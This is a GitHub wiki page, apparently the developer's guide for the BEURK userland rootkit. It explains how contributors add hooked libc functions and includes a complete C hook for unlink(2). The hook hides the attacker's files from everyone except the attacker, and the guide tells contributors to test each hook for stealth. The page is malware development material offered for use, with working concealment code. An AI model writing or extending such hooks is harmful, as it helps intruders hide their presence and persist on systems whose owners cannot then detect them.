-
Notifications
You must be signed in to change notification settings - Fork 94
Developer's Guide
This guide provides best practices for writing code on BEURK rootkit.
A hook is an homemade function which pretends to be the real function.
As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.
Every hook must meet the following requirements:
- A prototype in
/includes/hooks.h
- A .c file in
/src/hooks/<function_name>.c
- A dedicated unit test in
/tests/core/hooks
The prototype must always be similar to the real function prototype and must
end with _HOOKED
, a macro defined earlier in the header file.
<return_type> <function_name>(args) _HOOKED;
Every hook is done in its singular file and must call the real function when
idenfying the attacker, and do whatever you want it to do otherwise, keeping
stealth in mind. Our DEBUG macro is there for debugging purpose, and must also
be present in every hook. You must place it in the /src/core/hooks/
directory,
naming it <function_name>.c
.
Each hook must be tested to ensure that no breakage occurs, and to assess
stealthyness. Those tests must be placed in the /tests/core/hooks
directory,
and will automatically be picked up by our test script.
Writing the hooked function prototype in /includes/hooks.h
is mandatory, as
each prototype of this header is parsed by the builder to generate an
accessor on the real function call. It is also used at compile time.
Real functions can be accessed through the REAL_<FUNCTION_NAME>
macro.
In this example, we decide to write a hook for the unlink(2) function.
- Add the prototype on hooks.h
-
(append to
/includes/hooks.h
):#include <unistd.h> int unlink(const char *pathname) _HOOKED;
NOTE: The
_HOOKED
macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the-fvisibility=hidden
attribute.
- Write the hook itself
-
(create an appropriate .c file, aka
/src/hooks/unlink.c
):#include <errno.h> int unlink(const char *pathname) { DEBUG(D_INFO, "unlink() hooked.\n"); if (is_attacker()) return REAL_UNLINK(pathname); else if (is_hidden_file(pathname)) { errno = ENOENT; return -1; } return REAL_UNLINK(pathname); }
NOTE: The
REAL_UNLINK
is an accessor to the real unlink function. It is generated by BEURK's builder.
- Create a test for the hook
- Read the README file at
./tests/core/hooks/
. - Create a test file named
./tests/core/hooks/<HOOK>.c
with correct checks. - Add tests calls on
./tests/core/hooks/run/py
.